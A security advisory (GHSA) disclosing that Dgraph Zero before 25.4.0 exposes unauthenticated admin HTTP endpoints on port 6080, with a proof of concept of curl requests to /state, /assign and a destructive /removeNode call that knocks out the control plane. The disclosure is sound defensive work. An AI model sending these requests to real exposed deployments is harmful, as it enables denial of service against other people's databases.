GHSA-qj98-gp63-54xj Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service

• Go github.com/dgraph-io/dgraph/v25: < 25.4.0 → fixed in 25.4.0

Summary Dgraph `v25.3.8` exposes a Zero HTTP administrative surface that is unauthenticated when port `6080` is reachable. The exposed routes include: • `/state` • `/assign` • `/removeNode` • `/moveTablet` An unauthenticated request to `/removeNode?id=1&group=0` on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to `localhost:5080`. Details The issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper. Relevant code paths: • `worker/server_state.go:41` • `dgraph/cmd/zero/run.go:295-301` • `dgraph/cmd/zero/http.go:106-129` • `dgraph/cmd/zero/zero.go:475-477` The relevant behavior is: • `disable-admin-http=false` by default • `/removeNode` accepts attacker-controlled `id` and `group` • `removeNode` forwards those directly into `Server.RemoveNode` • for `group=0`, `Server.RemoveNode` immediately calls `ProposePeerRemoval` This means a remote unauthenticated caller can directly trigger destructive membership operations if `6080` is exposed. PoC Read state without authentication ```bash curl -i http://127.0.0.1:6080/state ``` Observed response included: • Zero node `id=1` • `groupId=0` • `leader=true` • cluster topology and tablet state Write-capable route without authentication ```bash curl -i 'http://127.0.0.1:6080/assign?what=nsids&num=1' ``` Observed response: ```text HTTP/1.1 200 OK ... {"startId":"1", "endId":"1", "readOnly":"0"} ``` This confirms the admin plane is not merely informational. Destructive unauthenticated removeNode ```bash curl -i 'http://127.0.0.1:6080/removeNode?id=1&group=0' ``` Observed result: ```text curl: (52) Empty reply from server ``` Immediately afterward: ```bash curl -i http://127.0.0.1:6080/health ``` Observed result: ```text curl: (56) Recv failure: Connection reset by peer ``` Alpha health was still locally reachable, but Alpha logs began repeatedly reporting: ```text dial tcp [::1]:5080: connect: connection refused ``` This confirms the request reached the destructive path and disrupted the Zero control plane. Impact Any deployment that exposes Zero HTTP on `6080` exposes destructive unauthenticated administrative capabilities. An attacker can: • read cluster topology and control-plane metadata • allocate IDs and timestamps • invoke destructive membership actions • disrupt the Zero control plane • indirectly destabilize Alpha nodes that depend on Zero connectivity This is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.